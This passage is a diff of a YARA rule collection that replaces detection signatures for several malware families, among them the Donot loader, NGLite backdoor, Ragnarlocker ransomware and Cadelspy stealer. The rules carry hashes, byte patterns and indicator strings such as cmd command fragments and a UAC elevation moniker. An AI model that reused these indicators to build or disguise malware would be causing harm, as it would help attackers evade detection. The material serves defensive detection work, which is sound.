03 c1 e8 02 39 55 dc 1b c9 f7 d1 23 c8 89 4d e8 74 18 8b f1 ff 37 e8 [2] ff ff 43 8d 7f 04 59 3b } + $s1 = "/c systeminfo >> %s" fullword ascii + $s2 = "/c dir %s\\ >> %s" fullword ascii + $s3 = ".?AVGen3@@" fullword ascii + $s4 = { 48 6f 73 74 3a 20 25 73 0d 0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 25 73 25 73 0d 0a 25 73 0d 0a 25 73 } + $s5 = "%s?filename=%s" fullword ascii + $s6 = "Content-Disposition: form-data; name=\"userfile\"; filename=\"" fullword ascii + $s7 = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG" fullword ascii + $s8 = "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"" fullword ascii + $s9 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii + $s10 = "\\Microsoft\\HNC" fullword ascii + $s11 = "Mozilla/5.0" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 50KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 150KB and 8 of them } -rule ARKBIRD_SOLG_MAL_Envyscout_May_2021_1 : FILE +rule ARKBIRD_SOLG_APT_MAL_Donot_Loader_June_2020_1 : FILE { meta: - description = "Detect EnvyScout downloader" + description = "Detect loader malware used by APT Donot for drops the final stage" author = "Arkbird_SOLG" - id = "645f60d1-7c95-515c-a88e-d8528cf8b644" - date = "2021-05-28" - modified = "2021-06-02" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_EnvyScout_May_2021_1.yara#L1-L20" + id = "ec4cac12-529f-56d2-bbc0-5fe30424b10b" + date = "2020-06-22" + modified = "2020-06-22" + reference = "https://twitter.com/ccxsaber/status/1274978583463649281" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-22/APT_MAL_Donot_Loader_June_2020_1.yar#L3-L22" license_url = "N/A" - logic_hash = "7ce4fd18c88f7ea7486c51fc0b673d178bd26ecc2f4a39ec9c5a4a71aaa0daa1" + logic_hash = "986deffd48c1fb707948b00e1e200fa6538d4c73a32ab89f5119403f9bf0d734" score = 75 - quality = 73 + quality = 75 tags = "FILE" - hash1 = "279d5ef8f80aba530aaac8afd049fa171704fc703d9cfe337b56639732e8ce11" - hash2 = "9059c5b46dce8595fcc46e63e4ffbceeed883b7b1c9a2313f7208a7f26a0c186" - tlp = "White" - adversary = "NOBELIUM" + hash1 = "1ff33d1c630db0a0b8b27423f32d15cc9ef867349ac71840aed47c90c526bb6b" strings: - $s1 = "==typeof window&&window.window===window?window:" fullword ascii - $s2 = "==typeof self&&self.self===self?self:" fullword ascii - $s3 = "0===t?t={autoBom:!1}:" fullword ascii - $s4 = "_global.saveAs=saveAs.saveAs=saveAs" fullword ascii - $s5 = "navigator.userAgent" fullword ascii - $s6 = { 6e 65 77 20 42 6c 6f 62 28 5b [1-12] 5d 2c 20 7b 74 79 70 65 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 22 7d 29 3b 73 61 76 65 41 73 28 } + $s1 = "C:\\Users\\spartan\\Documents\\Visual Studio 2010\\new projects\\frontend\\Release\\test.pdb" fullword ascii + $s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Edg/81.0.416.68" fullword ascii + $s3 = "bbLorkybbYngxkjbb]khbbmgvjgz4k~k" fullword ascii + $s4 = "8&8-8X8.959?9Q9h9v9|9" fullword ascii + $s5 = "0$0h4h5l5p5t5x5|5" fullword ascii + $s6 = "?&?+?1?7?M?T?g?z?" fullword ascii + $s7 = "12.02.1245" fullword ascii + $s8 = ">>?C?L?[?~?" fullword ascii + $s9 = "6*6=6P6b6" fullword ascii condition: - filesize > 100KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize < 30KB and 7 of them } -rule ARKBIRD_SOLG_APT_Tardigrade_Nov_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_2 : FILE { meta: - description = "Detect Tardigrade loader" + description = "Detect NGLite backdoor (version B)" author = "Arkbird_SOLG" - id = "f6c8014a-21dd-5ebd-9edd-7a9f649a43a0" - date = "2021-11-22" - modified = "2021-11-23" - reference = "https://www.isac.bio/post/tardigrade" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-22/APT_Tardigrade_Nov_2021_1.yara#L1-L19" + id = "e18f2891-366b-5cff-a17e-63523bfd9cee" + date = "2021-11-08" + modified = "2021-11-09" + reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_2.yara#L1-L19" license_url = "N/A" - logic_hash = "98358d9dbf62e653b136268d8694ed4d7f48c80125dd12ccea5f36ff5c6b4a3c" + logic_hash = "4d44d208010ca17f47f597f7d9eb5ee39d91a2d9077218a173ef0015699dc296" score = 75 quality = 75 tags = "FILE" - hash1 = "1c7c1a28921d81f672320e81ad58642ef3b8e27abf8a8e51400b98b40f49568be" - hash2 = "c0976a1fbc3dd938f1d2996a888d0b3a516b432a2c38d788831553d81e2f5858" - hash3 = "cf88926b7d5a5ebbd563d0241aaf83718b77cec56da66bdf234295cc5a91c5fe" + hash1 = "3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d" + hash2 = "805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f" tlp = "white" - adversary = "Tardigrade" + adversary = "-" strings: - $s1 = { 63 6d 64 2e 65 78 65 20 2f 63 20 65 63 68 6f 20 [10-40] 3e 22 25 73 22 26 65 78 69 74 } - $s2 = { 4c 89 44 24 38 89 54 24 34 48 89 4c 24 28 e8 [2] 01 00 e8 [2] 01 00 4c 8b 44 24 38 8b 54 24 34 48 8b 4c 24 28 48 83 c4 48 e9 71 fe ff ff 90 48 89 ca 48 8d 0d 76 ?? 02 00 } - $s3 = { 41 57 41 56 41 55 41 54 55 57 56 53 48 ?? ec [1-4] 48 8b 84 24 ?? 00 00 00 48 89 44 24 60 48 8b 05 [2] 01 00 48 89 4c 24 40 ?? 38 } - $s4 = { 45 31 c0 48 8d 8c 24 ?? 02 00 00 4c 8d 8c 24 ?? 01 00 00 48 8d 15 [2] 01 00 ff 15 [2] 02 00 } + $s1 = { 8b 05 64 ?? bf 00 8d 0d e0 ?? c6 00 89 04 24 89 4c 24 04 c7 44 24 08 08 02 00 00 e8 d0 1d 00 00 8b 44 24 0c 85 c0 74 2e 3d 08 02 00 00 77 27 8d 1d e0 ?? c6 00 c6 04 03 5c 40 89 05 24 ?? c6 00 e9 0b ff ff ff 31 c0 e8 44 9f 02 00 ba 09 02 00 00 e8 6a 9f 02 00 8d 05 ?? 7b 8a 00 89 04 24 c7 44 24 04 24 00 00 00 e8 a4 3b 00 00 31 c0 e8 1d 9f 02 00 90 e8 57 86 02 } + $s2 = { 83 ec 40 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 8b 05 70 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff 8d 44 24 18 89 44 24 08 8d 44 24 14 89 44 24 0c e8 21 15 00 00 8b 44 24 10 85 c0 74 32 31 c0 31 c9 eb 03 40 89 d1 83 f8 20 7d 20 19 d2 89 cb 89 c1 bd 01 00 00 00 d3 e5 21 d5 23 6c 24 18 85 ed 74 05 8d 53 01 eb dc 89 da eb d8 85 c9 75 2d 8d 7c 24 1c 31 c0 e8 63 98 02 00 8b 0d 60 ?? bf 00 89 0c 24 8d 4c 24 1c 89 4c 24 04 e8 46 14 00 00 8b 4c 24 30 89 4c 24 44 83 c4 40 c3 89 4c 24 44 83 c4 40 c3 e8 4d 7d 02 00 e9 38 } + $s3 = { 0f b6 2c 13 95 80 f8 80 95 72 f0 c7 44 24 20 00 00 00 00 8b 0d 7c ?? bf 00 89 0c 24 89 44 24 04 8d 4c 24 20 89 4c 24 08 e8 77 0b 00 00 8b 44 24 0c 85 c0 75 4a c7 44 24 1c 00 00 00 00 8b 05 20 ?? bf 00 89 04 24 8b 44 24 24 89 44 24 04 8b 44 24 30 89 44 24 08 8b 44 24 34 89 44 24 0c 8d 44 24 1c 89 44 24 10 c7 44 24 14 00 00 00 00 e8 f1 0b 00 00 8b 44 24 1c 89 44 24 38 83 c4 28 c3 8b 44 24 24 89 04 24 8b 44 24 30 89 44 24 04 8b 44 24 34 89 44 24 08 e8 59 00 00 00 8b 44 24 } + $s4 = { 83 ec 50 c7 44 24 24 00 00 00 00 8b 05 88 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff c7 44 24 08 fe ff ff ff c7 44 24 0c ff ff ff ff 8d 44 24 24 89 44 24 10 c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 c7 44 24 1c 02 00 00 00 e8 09 04 00 00 64 8b 05 14 00 00 00 8b 80 00 00 00 00 8b 40 18 84 00 05 68 01 00 00 89 04 24 8b 44 24 24 89 44 24 04 e8 d2 86 fd ff 8d 7c 24 34 31 c0 e8 60 86 02 00 8b 05 30 ?? bf 00 89 04 24 8d 44 24 34 89 44 24 04 8d 44 24 34 89 44 24 08 c7 44 24 0c 1c 00 00 00 e8 b1 02 00 00 8b 44 24 } + $s5 = { 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ed 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b4 01 00 00 85 c0 74 7e 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ad 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b8 01 00 00 85 c0 74 04 83 c4 18 c3 8d 05 ?? ?? 8b 00 89 04 24 e8 c9 6c 02 00 8b 05 98 ?? bf 00 8b 4c 24 1c 8b 91 b4 01 00 00 89 04 24 89 54 24 04 e8 ad 04 00 00 8b 44 24 1c c7 80 b4 01 } condition: - uint16( 0 ) == 0x5a4d and filesize > 50KB and all of them + uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_APT_APT27_Hyperbro_Apr_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_1 : FILE { meta: - description = "Detect Hyperbro backdoor" + description = "Detect NGLite backdoor (version A)" author = "Arkbird_SOLG" - id = "060a200e-17dd-5789-94d4-eeff5c2e9a18" - date = "2021-05-01" - modified = "2021-05-04" - reference = "-" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-03/APT27/APT_APT27_Hyperbro_Apr_2021_1.yara#L1-L21" + id = "cf2845f3-1176-5197-9d05-f123b0f23c75" + date = "2021-11-09" + modified = "2021-11-09" + reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "1a32ab7c30885a665ede66640a9b047e3c381f6f535243fcadf1a7a22e76f407" + logic_hash = "ebafc52da76b9a960ee3c2c99955fb5dcb4acff2b7a0d7fad714bfc17617331a" score = 75 - quality = 35 + quality = 75 tags = "FILE" - hash1 = "36fad80a5f328f487b20a3f5fc5f1902d50cbb1bd9167c44b66929a1288fc6f4" - hash2 = "52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7e0f4a30d008e22a7" - hash3 = "9000ce3c0e01b6c80edb3af87aad8117513ce334135aa7d7b1c2afa067f4c4ab" - hash4 = "92bbcb5461ab5959e31f997a6df77995377d69f8077e43e5812fcbe9303d831c" - tlp = "White" - adversary = "APT27" + hash1 = "7e4038e18b5104683d2a33650d8c02a6a89badf30ca9174576bf0aff08c03e72" + hash2 = "3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd" + tlp = "white" + adversary = "-" strings: - $seq1 = { 8b [5] 7? 0? [2] 0? ?? 0? [3] ff 75 0? [11] 5? [2] 0? ?? 8b } - $seq2 = { e8 ?? 0? 00 00 b0 01 c3 55 8b ec ff 75 08 ff 15 34 c0 00 10 85 c0 74 11 56 8b 30 50 e8 ?? 1? 00 00 8b c6 59 85 f6 75 f1 5e 5d c3 cc 8b 4c 24 0c 0f b6 44 24 08 8b d7 8b 7c 24 04 85 c9 0f 84 3c 01 00 00 69 c0 01 01 01 01 83 f9 20 0f 8e df 00 00 00 81 f9 80 00 00 00 0f 8c 8b 00 00 00 0f ba 25 b8 27 01 10 01 73 09 f3 aa 8b 44 24 04 8b fa c3 0f ba 25 10 20 01 10 01 0f 83 b2 00 00 00 66 0f 6e c0 66 } - $seq3 = { 8b 44 24 08 48 75 [13] be ?? 16 00 10 bb 00 10 00 10 05 [2] 00 00 2b f3 [0-3] 74 0? 8? [0-2] cf [0-4] 03 cb ?? 11 47 3b fe 72 ?? e8 ?? fd ff ff 5f 5e 5b 33 c0 40 c2 0c 00 8b ff 55 8b ec 8b 45 0c 56 57 83 f8 01 75 7c 50 e8 1c 14 00 00 59 85 c0 75 07 33 c0 e9 0e 01 00 00 e8 a6 06 00 00 85 c0 75 07 e8 32 14 00 00 eb e9 e8 af 13 00 00 ff 15 ?? 80 00 10 a3 18 b8 00 10 e8 68 12 00 00 a3 64 ac 00 10 e8 89 0c 00 00 85 c0 7d 07 e8 1f 03 00 00 eb cf e8 93 11 00 00 85 c0 7c 20 e8 12 0f 00 00 85 c0 7c 17 6a 00 e8 41 0a 00 00 59 85 c0 75 0b ff 05 60 ac 00 10 e9 a8 00 00 00 e8 a4 0e 00 00 eb c9 33 ff 3b c7 75 31 39 3d 60 ac 00 10 7e 81 ff 0d 60 ac 00 10 39 3d b4 ac 00 10 75 05 e8 d0 0b 00 00 39 7d 10 75 7b e8 77 0e 00 00 e8 bd 02 00 00 e8 a1 13 00 00 eb 6a 83 f8 02 75 59 e8 78 02 00 00 68 14 02 00 00 6a 01 e8 54 08 00 00 8b f0 59 59 3b f7 0f 84 36 ff ff ff 56 ff 35 00 a0 00 10 ff 35 7c ac 00 10 e8 d3 01 00 00 59 ff d0 85 c0 74 17 57 56 e8 b1 02 00 00 59 59 ff 15 ?? 80 00 10 83 4e 04 ff 89 06 eb 18 56 e8 3f 07 00 00 59 e9 fa fe ff ff 83 f8 03 75 07 57 e8 33 05 00 00 59 33 c0 40 5f 5e 5d c2 0c 00 6a 0c 68 d0 92 00 10 e8 ?? 15 00 00 8b f9 8b f2 8b 5d 08 33 c0 40 89 45 e4 85 f6 75 0c 39 15 60 ac 00 10 0f 84 c5 00 00 00 83 65 fc 00 3b f0 74 05 83 fe 02 75 2e a1 ?? 81 00 10 85 c0 74 08 57 56 53 ff d0 89 45 e4 83 7d e4 00 0f 84 96 00 00 00 57 56 53 e8 72 fe ff ff 89 45 e4 } + $s1 = { 48 8b 05 48 e7 90 00 48 8d 0d 99 4b 99 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 08 02 00 00 e8 82 21 00 00 48 8b 44 24 18 48 85 c0 74 33 48 3d 08 02 00 00 77 2b 48 8d 1d 69 4b 99 00 c6 04 03 5c 48 ff c0 48 89 05 4b 3f 99 00 e9 d6 fe ff ff 31 c0 e8 8f fc 02 00 ba 09 02 00 00 e8 b5 fc 02 00 48 8d 05 fe d5 55 00 48 89 04 24 48 c7 44 24 08 24 00 00 00 e8 cc 44 00 00 31 c0 e8 65 fc 02 00 90 e8 af d2 02 } + $s2 = { 48 83 ec 70 48 89 6c 24 68 48 8d 6c 24 68 48 c7 44 24 30 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 8b 05 bf dc 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 28 48 89 44 24 18 e8 39 17 00 00 48 83 7c 24 20 00 74 35 31 c0 31 c9 eb 24 48 89 ca 48 89 c1 bb 01 00 00 00 48 d3 e3 48 23 5c 24 30 48 8d 72 01 48 85 db 48 0f 45 d6 48 ff c0 48 89 d1 48 83 f8 40 7c d6 48 85 c9 75 3e 0f 57 c0 0f 11 44 24 38 0f 11 44 24 48 0f 11 44 24 58 48 8b 05 23 dc 90 00 48 89 04 24 48 8d 44 24 38 48 89 44 24 08 e8 10 16 00 00 8b 44 24 58 89 44 24 78 48 8b 6c 24 68 48 83 c4 70 c3 89 4c 24 78 48 8b 6c 24 68 48 } + $s3 = { 48 8b 05 60 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 02 07 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 10 03 00 00 48 85 c0 0f 84 80 00 00 00 48 8b 05 29 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 cb 06 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 18 03 00 00 48 85 c0 74 0a 48 8b 6c 24 30 48 83 c4 38 c3 48 8d 05 ac e0 56 00 48 89 04 24 e8 1b b6 02 00 48 8b 05 e4 cb 90 00 48 8b 4c 24 40 48 8b 91 10 03 00 00 48 89 04 24 48 89 54 24 08 e8 5a 05 00 00 48 8b 44 24 40 48 c7 80 10 03 00 00 00 00 00 00 eb b3 48 8d 05 61 e0 56 00 48 89 04 24 e8 d8 b5 02 00 e9 6b ff ff ff 48 8b 6c 24 30 48 83 c4 38 } + $s4 = { 48 81 ec a0 00 00 00 48 89 ac 24 98 00 00 00 48 8d ac 24 98 00 00 00 48 c7 44 24 48 00 00 00 00 48 8b 05 8a c9 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 c7 44 24 10 fe ff ff ff 48 c7 44 24 18 ff ff ff ff 48 8d 44 24 48 48 89 44 24 20 0f 57 c0 0f 11 44 24 28 48 c7 44 24 38 02 00 00 00 e8 3b 05 00 00 65 48 8b 04 25 28 00 00 00 48 8b 80 00 00 00 00 48 8b 40 30 48 8b 4c 24 48 48 87 88 78 02 00 00 0f 57 c0 0f 11 44 24 68 0f 11 44 24 78 0f 11 84 24 88 00 00 00 48 8b 05 5f c8 90 00 48 89 04 24 48 8d 44 24 68 48 89 44 24 08 48 8d 44 24 68 48 89 44 24 10 48 c7 44 24 18 30 00 00 00 e8 59 03 00 00 48 83 7c 24 20 } + $s5 = { 48 8b 15 26 29 92 00 48 89 14 24 48 89 4c 24 08 48 89 44 24 10 48 c7 44 24 18 00 10 00 00 48 c7 44 24 20 04 00 00 00 e8 71 64 01 00 48 83 7c 24 28 00 40 0f 94 c6 48 8b 44 24 38 48 8b 4c 24 48 48 8b 54 24 68 48 8b 5c 24 40 e9 61 ff ff ff 48 8b 6c 24 50 48 83 c4 58 c3 48 8b 6c 24 50 48 83 c4 58 c3 e8 25 91 01 00 48 8d 05 e2 b8 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 bc 9a 01 00 48 8b 44 24 38 48 89 04 24 e8 be 97 01 00 48 8d 05 9a b1 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 95 9a 01 00 8b 44 24 34 48 89 04 24 e8 98 97 01 00 e8 73 93 01 00 e8 5e 91 01 00 48 8d } condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and 2 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_Loader_Buer_Nov_2020_1 : FILE + +rule ARKBIRD_SOLG_Ransom_Ragnarlocker_July_2020_1 : FILE { meta: - description = "Detect Buer loader" + description = "Detect Ragnarlocker by strings (July 2020)" author = "Arkbird_SOLG" - id = "a2883eca-d576-53ba-aa97-5e3c94f501a5" - date = "2020-12-01" - modified = "2020-12-01" - reference = "https://twitter.com/James_inthe_box/status/1333551419735953409" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-01/Buer/Mal_Buer_Nov_2020_1.yar#L35-L64" + id = "9291ed33-8d7d-5b88-9075-b847fdbab179" + date = "2020-07-30" + modified = "2020-07-30" + reference = "https://twitter.com/JAMESWT_MHT/status/1288797666688851969" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-30/Yara_Ransom_Ragnarlocker_July_2020_1.yar#L3-L34" license_url = "N/A" - logic_hash = "96a74b497076be170ce6138189501d8b3a1002bcf07f9d3cf662d64612d04a59" + logic_hash = "73d3be9a2d3b315ed6d3d93e2c6f9988d60234530b0398e8949c511f919a8954" score = 75 - quality = 55 + quality = 23 tags = "FILE" - hash1 = "2824d4b0e5a502416696b189bd840870a19dfd555b53535f20b0c87c95f4c232" - hash2 = "a98abbce5e84c4c3b67b7af3f9b4dc9704b5af33b6183fb3c192e26b1e0ca005" - hash3 = "ae3ac27e8303519cf04a053a424a0939ecc3905a9a62f33bae3a29f069251b1f" + hash1 = "04c9cc0d1577d5ee54a4e2d4dd12f17011d13703cdd0e6efd46718d14fd9aa87" strings: - $s1 = "bcdfghklmnpqrstvwxz" fullword ascii - $s2 = "%02x" fullword wide - $s3 = "{%s-%d-%d}" fullword wide - $s4 = "update" fullword wide - $s5 = "]otju}y&Ykx|kx&867?5Ykx|kx&867<" fullword ascii - $s6 = "]otju}y&Ykx|kx&8678&X8" fullword ascii - $s7 = "]otju}y&\\oyzg5Ykx|kx&857>" fullword ascii - $s8 = "]otju}y&>47" fullword ascii - $s9 = "]otju}y&Ykx|kx&8678" fullword ascii - $s10 = "]otju}y&=" fullword ascii - $s11 = "Iutzktz3Z" fullword ascii - $s12 = "g|mnuuq~4jrr" fullword ascii - $s13 = "RegularModules" fullword ascii - $s14 = "]otju}y&>" fullword ascii + $f1 = "bootfont.bin" fullword wide + $f2 = "bootmgr.efi" fullword wide + $f3 = "bootsect.bak" fullword wide + $r1 = "$!.txt" fullword wide + $r2 = "---BEGIN KEY R_R---" fullword ascii + $r3 = "!$R4GN4R_" fullword wide + $r4 = "RAGNRPW" fullword ascii + $r5 = "---END KEY R_R---" fullword ascii + $a1 = "+RhRR!-uD8'O&Wjq1_P#Rw<9Oy?n^qSP6N{BngxNK!:TG*}\\|W]o?/]H*8z;26X0" fullword ascii + $a2 = "\\\\.\\PHYSICALDRIVE%d" fullword wide + $a3 = "WinSta0\\Default" fullword wide + $a4 = "%s-%s-%s-%s-%s" fullword wide + $a5 = "SOFTWARE\\Microsoft\\Cryptography" fullword wide + $c1 = "-backup" fullword wide + $c2 = "-force" fullword wide + $c3 = "-vmback" fullword wide + $c4 = "-list" fullword wide + $s1 = ".ragn@r_" fullword wide + $s2 = "\\notepad.exe" fullword wide + $s3 = "Opera Software" fullword wide + $s4 = "Tor browser" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and 8 of them + uint16( 0 ) == 0x5a4d and filesize < 30KB and ( pe.imphash ( ) == "2c2aab89a4cba444cf2729e2ed61ed4f" and ( ( 2 of ( $f* ) ) and ( 3 of ( $r* ) ) and ( 4 of ( $a* ) ) and ( 2 of ( $c* ) ) and ( 2 of ( $s* ) ) ) ) } -rule ARKBIRD_SOLG_RAN_Crylock_July_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Cadelspy_Stealer_May_2021_1 : FILE { meta: - description = "Detect CryLock ransomware (ex-Cryakl)" + description = "Detect Cadelspy stealer" author = "Arkbird_SOLG" - id = "350bd622-f4b5-5837-a239-dc506b100aef" - date = "2021-07-17" - modified = "2021-07-17" - reference = "https://twitter.com/BushidoToken/status/1415958829318217730" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-16/Crylock/RAN_Crylock_July_2021_1.yara#L1-L23" + id = "bac23ed9-f51c-546e-8f4e-320d33b51829" + date = "2021-05-30" + modified = "2021-06-05" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-30/APT39/MAL_Cadelspy_Stealer_May_2021_1.yara#L1-L24" license_url = "N/A" - logic_hash = "4f5046a64e7491085a55d8d1f2b5b056dc0aa89fcdea47652ecb7db680de2f59" + logic_hash = "29fade3703c55bd16e67f9bf126cb0d8a06bc0eafe10e145f8d57d8c4abe5656" score = 75 - quality = 65 + quality = 75 tags = "FILE" - hash1 = "a962501ea4cd363dd588c948ff8b0ab24aa4132ff58f4a7806af06efa3b791ef" - hash2 = "1c2975dd464d014502a46ba6383943c7de4635e3664011653217dc424d53f8fe" - hash3 = "e001f6a5b2d4d2659b010fb5825eb4383e8f415861a244329bc70cfcd18da507" + hash1 = "8847a73bbd9477be60685ce8ec8333db933892f4d7b729fcef01ac76600de9ff" + hash2 = "f3b0ad96c8529399bd7117bd67cdf0297191476d3a81a60b147960306ae5f068" + hash3 = "88c947d0d0fddd1ea87f5b85982cf231c9c56e4f5e25fac405f608a1c28d8391" tlp = "White" - adversary = "RAAS" + adversary = "APT39" strings: - $s1 = { 2f 63 20 22 70 69 6e 67 20 30 2e 30 2e 30 2e 30 26 64 65 6c 20 22 } - $s2 = { 7b 45 4e 43 52 59 50 54 53 54 41 52 54 7d 7b } - $s3 = { 7b 45 4e 43 52 59 50 54 45 4e 44 45 44 7d } - $s4 = { 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 45 58 54 45 4e 41 54 49 4f 4e 53 5c 5c 5c 00 ff ff ff ff 17 00 00 00 2f 2f 2f 45 4e 44 20 43 4f 4d 4d 41 4e 44 53 20 4c 49 53 54 5c 5c 5c 00 ff ff ff ff 1d 00 00 00 2f 2f 2f 45 4e 44 20 50 52 4f 43 45 53 53 45 53 20 4b 49 4c 4c 20 4c 49 53 54 5c 5c 5c 00 00 00 ff ff ff ff 1c 00 00 00 2f 2f 2f 45 4e 44 20 53 45 52 56 49 43 45 53 20 53 54 4f 50 20 4c 49 53 54 5c 5c 5c 00 00 00 00 ff ff ff ff 1e 00 00 00 2f 2f 2f 45 4e 44 20 50 52 4f 43 45 53 53 45 53 20 57 48 49 54 45 20 4c 49 53 54 5c 5c 5c 00 00 ff ff ff ff 1e 00 00 00 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 46 49 4c 45 53 20 4c 49 53 54 5c 5c 5c 00 00 ff ff ff ff 20 00 00 00 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 46 4f 4c 44 45 52 53 20 4c 49 53 54 5c 5c 5c } - $s5 = { 49 45 28 41 4c 28 22 25 73 22 2c 34 29 2c 22 41 4c 28 5c 22 25 30 3a 73 5c 22 2c 33 29 22 2c 22 4a 4b 28 5c 22 25 31 3a 73 5c 22 2c 5c 22 25 30 3a 73 5c 22 29 22 29 } - $s6 = { 3c 25 55 4e 44 45 43 52 59 50 54 5f 44 41 54 45 54 49 4d 45 25 3e } - $s7 = { 25 00 73 00 20 00 28 00 25 00 73 00 2c 00 20 00 6c 00 69 00 6e 00 65 00 20 00 25 00 64 00 29 } + $str1 = "C:\\Windows\\SysEvent.exe" fullword wide + $str2 = "\\sysprep\\sysprep.exe" fullword wide + $str3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide + $str4 = "@C:\\Windows\\systemw.dll" fullword wide + $str5 = "systemw.dll" fullword ascii + $str6 = "ApAshell32.dll" fullword wide + $seq1 = { 55 8b ec 83 ec 14 a1 04 00 41 00 33 c5 89 45 fc 8d 45 f8 c7 45 f0 00 00 00 00 50 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 68 20 02 00 00 6a 20 6a 02 8d 45 f0 66 c7 45 f4 00 05 50 ff 15 08 30 40 00 85 c0 74 25 8d 45 ec 50 ff 75 f8 6a 00 ff 15 04 30 40 00 ff 75 f8 f7 d8 1b c0 21 45 ec ff 15 00 30 40 00 83 7d ec 00 75 05 e8 52 fd ff ff 56 68 2d 02 00 00 ff 15 30 30 40 00 68 1c 33 40 00 ff 15 20 30 40 00 6a 00 6a 00 6a 01 6a 00 6a 00 6a 02 68 1c 33 40 00 89 45 f8 ff 15 1c 30 40 00 6a 00 8b f0 8d 45 f8 50 68 00 ba 00 00 68 68 33 40 00 56 ff 15 6c 30 40 00 56 ff 15 74 30 40 00 6a 01 6a 00 6a 00 68 1c 33 40 00 68 4c 33 40 00 6a 00 ff 15 b0 30 40 00 8b 4d fc 33 c0 33 cd 5e e8 06 00 00 00 } + $seq2 = { 8b 0d 10 32 40 00 0f 10 05 24 32 40 00 89 08 8b 0d 14 32 40 00 89 48 04 8b 0d 18 32 40 00 89 48 08 8b 0d 1c 32 40 00 89 48 0c 66 8b 0d 20 32 40 00 66 89 48 10 33 c9 a1 3c 32 40 00 0f 11 84 24 34 04 00 00 89 84 24 4c 04 00 00 f3 0f 7e 05 34 32 40 00 66 0f d6 84 24 44 04 00 00 0f 1f 40 00 0f b7 84 0c c8 0f 00 00 8d 49 02 66 89 84 0c 42 08 00 00 66 85 c0 75 e8 